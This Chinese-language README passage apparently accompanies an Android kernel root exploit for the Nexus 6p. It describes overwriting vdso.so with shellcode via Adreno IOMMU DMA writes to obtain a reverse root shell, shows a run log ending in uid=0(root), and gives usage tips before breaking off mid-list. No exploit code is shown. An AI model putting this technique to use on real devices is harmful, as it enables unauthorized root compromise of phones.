已在 Nexus 6p (google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys) 上测试
2016 年通过 Blackhat EU 讨论
通过 iommu dma 写入,用 shellcode 覆盖 vdso.so。
因此,在 /init 执行 __kernel_clock_gettime 后,shellcode 将被执行。
/init 进程随后会反弹一个 root shell。
Reverse shell target: 127.0.0.1:4919
shellcode patch done
hook patch done
Waiting for reverse connect shell...
TERMINAL>>>
id
uid=0(root) gid=0(root) groups=0(root) context=u:r:init:s0
在运行利用程序前,如果存在 /data/local/tmp/x 请删除。
如果等待时间过长,请尝试打开手机设置中的"时间和日期"选项。
检查 adreno 的版本,当前版本为 4xx 构建。
对于 5xx 及以上版本: